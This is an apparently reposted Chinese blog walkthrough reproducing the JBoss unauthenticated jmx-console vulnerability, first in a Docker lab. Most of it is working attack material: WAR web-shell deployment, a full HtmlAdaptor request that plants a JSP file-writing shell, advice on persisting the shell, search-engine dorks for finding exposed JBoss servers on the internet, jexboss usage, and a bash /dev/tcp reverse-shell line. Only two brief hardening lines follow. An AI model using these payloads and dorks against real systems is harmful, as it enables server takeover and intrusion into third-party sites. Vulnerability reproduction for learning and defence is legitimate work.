JBOSS未授权漏洞详细复现
目錄
0x00 前言
0x01 JBOSS未授權訪問簡介
0x02 JBOSS未授權復現一
1、Docker容器搭建環境
2、訪問127.0.0.1,找到漏洞點
3、生成warSehll
4、apache2部署遠程服務器
4、通過addurl參數遠程部署Shell
5、成功getshell,上傳永久shell
0x03 JBOSS未授權復現二
1、查找JBOSS站點
2、JBOSS漏洞檢測
0x04 JBOSS未授權復現三
0x05?JBOSS未授權防護
0x06?后記
0x07?知識鏈接
0x00 前言
????????習常規而明其理,探非凡且有所見。 --涂寐
0x01 JBOSS未授權訪問簡介
????????JBOSS是一個基于J2EE的開放源代碼應用服務器,也是一個管理EJB的容器和服務器,默認使用8080端口監聽。
????????JBOSS未授權訪問漏洞表現為,在默認情況下無需賬密就可以直接訪問 http://127.0.0.1:8080/jmx-console 進入管理控制臺,進而導致網站信息泄露、服務器被上傳shell(如反彈shell,wget寫webshell文件),最終網站被攻陷。
????????該漏洞影響所有低版本的JBOSS,對其下用戶影響深遠。
0x02 JBOSS未授權復現一
1、Docker容器搭建環境
#搜索JBoss環境 docker search testjboss#選擇需要的環境 docker pull testjboss/jboss#實例化testjboss/jboss鏡像 docker run -d-p 80:8080 testjboss/jboss2、訪問127.0.0.1,找到漏洞點
3、生成warSehll
#自備腳本tumei.jsp #生成war命令 jar cvf admin.war tumei.jsp4、apache2部署遠程服務器
#安裝apache2 apt-get install apache2 #apache2所有文件所在位置 /etc/apache2 #apache2運行文件 /etc/init.d/apache2#查看kali默認web站點位置是否含有/var/www/html cd /var/www/html #不存在,創建/var/www/html目錄 mkdir -p /var/www/html #將admin.war移入/var/www/html cp admin.war /var/www/html#開啟apache2服務 service apache2 start #確認已開啟 service apache2 status #訪問web站點 http://127.0.0.1/ http://192.168.31.133/4、通過addurl參數遠程部署Shell
#遠程服務器中war包的位置 http://192.168.31.133/admin.war #war上傳成功,會顯示成功界面。 #也可以直接訪問http://127.0.0.1/jmx-console/,查看http://127.0.0.1/jmx-console/,是否含有對應的war包 #抑或,訪問http://127.0.0.1/admin/,顯示war包中文件tumei.jsp5、成功getshell,上傳永久shell
#由于當前目錄的shell僅能臨時獲取權限,因此把shell傳到jmx-console的默認目錄來鞏固權限 #jmx-console的默認目錄路徑 /opt/jboss/jboss4/server/default/deploy/jmx-console.war/ #直接利用文件管理傳shell,避免臨時目錄下的shell被刪無法連接0x03 JBOSS未授權復現二
1、查找JBOSS站點
①Google語法產找相關站點(有丟丟少,大概是瀏覽器的問題吧):inurl:"8080/jmx-console/"
②FOFA空間搜索引擎語句:"jboss" && port="8080" && country="CN"
2、JBOSS漏洞檢測
①各位師傅若有閑情,可以先使用nmap工具掃描8080端口是否開放(nmap -PN ip),但筆者使用fofa搜索時限定掃描了8080端口,直接訪問http://ip:8080/jmx-console和http://ip:8080/web-console就好了,成功,確認未授權的存在。
②手工傳馬,直接URL中寫入大佬的一句話shell(寫入文件功能),并可以通過腳本(shell.jsp)在其同級目錄下新建其他文件(注意進行編碼繞過)。
#寫文件功能 http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True #arg0:war包的名稱,arg1:文件名稱,arg2:文件后綴名,arg3:文件內容 #f=文件名,t=腳本文件內容(注意進行編碼繞過) #文件寫入舉例http://127.0.0.1:8080/August/shell.jsp?f=admin.txt&t=hhhhhhhhhhhhhhhhh #文件訪問舉例 http://127.0.0.1:8080/August/admin.txt #對應URL解碼 http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>&argType=boolean&arg4=True0x04 JBOSS未授權復現三
#嘗試下大佬寫的檢測工具:https://github.com/joaomatosf/jexboss #jexboss是一個使用Python編寫的Jboss漏洞檢測利用工具,通過它可以檢測并利用web-console,jmx-console,JMXInvokerServlet這三個漏洞,并且可以獲得一個shell。#git下載jexboss git clone https://github.com/joaomatosf/jexboss #切換jexboss所在目錄 cd jexboss-master/ #執行檢測192.168.31.131,此 處端口為80 python3 jexboss.py -u 192.168.31.131:80#機器A反彈shell到其他機器(B) #B機器(192.168.31.131)開啟監聽 nc -l -p 666 #A利用jexboss連接jboss后,反彈shell到機器B的666端口 bash -i >& /dev/tcp/192.168.31.131/666 0>&10x05?JBOSS未授權防護
????????1、對jmx-console和web-console界面訪問增加強認證。
????????2、關閉jmx-console和web-console,提高安全性。
0x06?后記
????????漏洞復現很簡單,嘗試了多種方式,非常不錯,學到挺多的。原本想著嘗試學大佬做防護,但重啟容器后看不出有什么改變,還是繼續努力吧。 --涂寐
0x07?知識鏈接
JBOSS未授權訪問漏洞復現 - 走看看
Jboss未授權訪問漏洞復現
WEB中間件--Jboss未授權訪問,加固,繞過 - 曉楓v5 - 博客園
總結
以上是生活随笔為你收集整理的JBOSS未授权漏洞详细复现的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 求X的算术平方根
- 下一篇: 刷题总结——寻宝游戏(bzoj3991